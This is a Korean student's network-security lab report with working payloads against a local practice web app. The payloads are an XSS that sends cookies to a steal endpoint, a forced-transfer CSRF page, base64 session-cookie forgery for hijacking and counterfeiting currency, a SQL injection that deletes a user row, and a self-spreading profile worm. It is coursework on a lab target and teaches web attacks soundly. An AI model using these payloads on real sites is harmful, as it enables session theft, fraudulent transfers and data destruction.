네트워크보안 실습과제 2

2019203021

소프트웨어학부

이승헌

1. 쿠키 훔치기

전체 URL

```
http://localhost:3000/profile?username=
<script>
async function submitForm() {
        const response=await fetch(`http://localhost:3000/steal_cookie?cookie=${document.cookie}`).then(()=>document.location.href="http://localhost:3000/profile")
}
submitForm();
</script>
```

steal_cookie 사이트에 GET 요청을 보내는 것은
form 내부 input 의 name 을 cookie 로 하고 type 을 hidden 으로 숨긴 후
submit 을 하도록 코드를 구성해도 상관이 없지만,
그 후에 다시 프로필 페이지로 돌아올 방법이 없었습니다.

그래서 동기적으로 통신하는 form 의 submit 대신
비동기적으로 통신하는 fetch 메서드를 이용하여
프로필 페이지로 돌아올 수 있게 했습니다.

2. CSRF

HTML

```html
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack</title>
</head>
<body onload="submitForm()">
    <script type="text/javascript">

      async function submitForm() {
        const formData =  new URLSearchParams({
            destination_username: "attacker",
            quantity: "10"
        })

        const res=await fetch("http://localhost:3000/post_transfer", {
            method: "POST",
            body: formData,
            credentials: "include"
        });

        if(res.ok){
            window.location.replace("https://www.kw.ac.kr")
        }

    }

    </script>
</body>
</html>
```

처음 코드를 작성할 때는 form 을 활용했는데, 거래는 잘 이뤄지지만 그 이후 광운대학교 홈페이지로 이동할 수가 없어서 fetch 를 쓰기로 했는데,
그 탓에 페이로드만 담아서 보내도 쿠키가 전송될 거라고 생각했습니다.
하지만 그렇게 하면 fetch 로는 쿠키가 전송되지 않는다는 사실을 알았습니다.
해결법을 찾아본 결과 credentials 는 쿠키나 인증 정보를 어디까지 넣을지 결정하는 필드로, 기본 값이 SOP 를 지키도록 설정 되어있었습니다
따라서 모든 정보를 넣어서 보내는 include 로 설정하고 비동기로 요청을 보낸 다음, replace 를 통해 주소 기록조차 남기지 않도록 했습니다.

3. 쿠키를 이용한 세션 하이재킹

전체 코드

```
let session_cookie= document.cookie.split(';')[0].split('=')[1];

let decoded_cookie=window.atob(session_cookie);
let decoded_cookie_obj=JSON.parse(decoded_cookie);

decoded_cookie_obj["account"]["username"]="user1";
decoded_cookie_obj["account"]["bitbars"]="200";
let modified_cookie=JSON.stringify(decoded_cookie_obj);

let encoded_cookie=window.btoa(modified_cookie);

document.cookie=`session=${encoded_cookie}`;
document.location.reload();
```

처음에 과제를 보고 떠오른 것은 user1 이 로그인하면 주고받는 쿠키를 훔치고, attacker 가 브라우저에서 크롬의 EditThisCookie 같은 툴로 쿠키를 사용해 로그인을 하는 방식이었습니다.
하지만 과제에서의 환경을 생각해봤을 때 그런 식의 공격을 브라우저의 콘솔창에서 구현하는 것은 어렵다는 생각이 들었습니다.
그래서 단순하게 쿠키의 username 을 위조하는 방식으로 구현했습니다.
또, 전제하기를 user1 이 200 bitbar 를 가지고 시작한다고 하셨으므로 bitbar 를 200 으로 위조했습니다.
어떤 방법을 생각해봐도 attacker 의 쿠키만을 이용해 user1 의 모든 계정 정보를 탈취해오는 것은 불가능할 것 같아서 이런 식으로 작성했습니다.

4. 쿠키로 위조 bit bar 만들기

전체 코드

```
let session_cookie= document.cookie.split(';')[0].split('=')[1];

let decoded_cookie=window.atob(session_cookie);
let decoded_cookie_obj=JSON.parse(decoded_cookie);

decoded_cookie_obj["account"]["bitbars"]="1000000";
let modified_cookie=JSON.stringify(decoded_cookie_obj);

let encoded_cookie=window.btoa(modified_cookie);

document.cookie=`session=${encoded_cookie}; `;
document.location.reload();
```

쿠키가 BASE64 로 암호화 되어있다는 것을 알게 되었고,
BASE64 암호화/복호화는 자바스크립트에서 지원하기 때문에
위와 같이 atob, btoa 로 간단하게 복호화 및 암호화를 할 수 있었습니다.
코드는 쿠키 부분만 떼어내서 복호화하고 bitbars 필드만 바꾸고 다시 암호화하여
쿠키를 저장해놓는 공간에 할당한 후 리로드하는 코드입니다.
이후에는 transfer 로 실제 교환만 하면 진짜 bit bar 가 됩니다.

5. SQL 주입 공격

전체 텍스트

```
user3"; DELETE FROM Users WHERE username == "user3
```

SELECT * FROM Users WHERE username ==”(텍스트 입력)”

이런 식의 쿼리로 되어있는 것을 알았습니다.

원래는 입력을 ” OR 1=1; DELETE FROM Users WHERE username='user3';--

이렇게 했습니다. 하지만 이런 비슷한 입력을 여러 번 해봤을 때 모든 계정이 삭제되는 경우가 너무 많았습니다.

그래서 select 의 where 절의 조건으로 user3 를 찾도록 하고 delete 의 where 절의 쌍따옴표를 여는 위치에만 했더니 user3 만 삭제되었습니다.

select 의 where 절이 문제였는지, sqlite 가 홑따옴표와 쌍따옴표의 차이가 있는 DB 라서 그랬는지는 명확히 알지 못했지만 이런 부분 때문에 해결 방법을 내는 데에 애를 먹었습니다.

6. 프로필 웜

전체 코드

```
<script>
document.querySelector("p#bitbar_display").id="my_bitbars";
document.querySelector("p#my_bitbars").innerText="10 bitbars";

const bitbar =  new URLSearchParams({
                destination_username: document.querySelector("form.pure-form>input").value,
                quantity: "1"
});
async function forgeryTransfer(){
const res=await fetch("http://localhost:3000/post_transfer", {
                method: "POST",
                body: bitbar,
                credentials: "include"
});
}
forgeryTransfer();

const profile =  new URLSearchParams({
                new_profile: document.querySelector("div#profile").innerHTML
});

async function forgeryProfile(){
const res=await fetch("http://localhost:3000/set_profile", {
                method: "POST",
                body: profile,
                credentials: "include"
});
}
forgeryProfile();

</script>
```

id 가 bitbar_counter 인 span 태그 내부의 script 가 실행 시점의 이 span 태그의 class 이름만큼 id 가 bitbar_display 인 p 태그에서의 숫자 표기를 증가시키는 코드임을 보고, id 를 bitbar_display 에서 my_bitbar 로 바꾸어 무력화시키고 text 를 바꾸었습니다.

그리고 task 2 에서의 방법을 이용해 transfer 를 실행하고 profile 을 전염시켰습니다.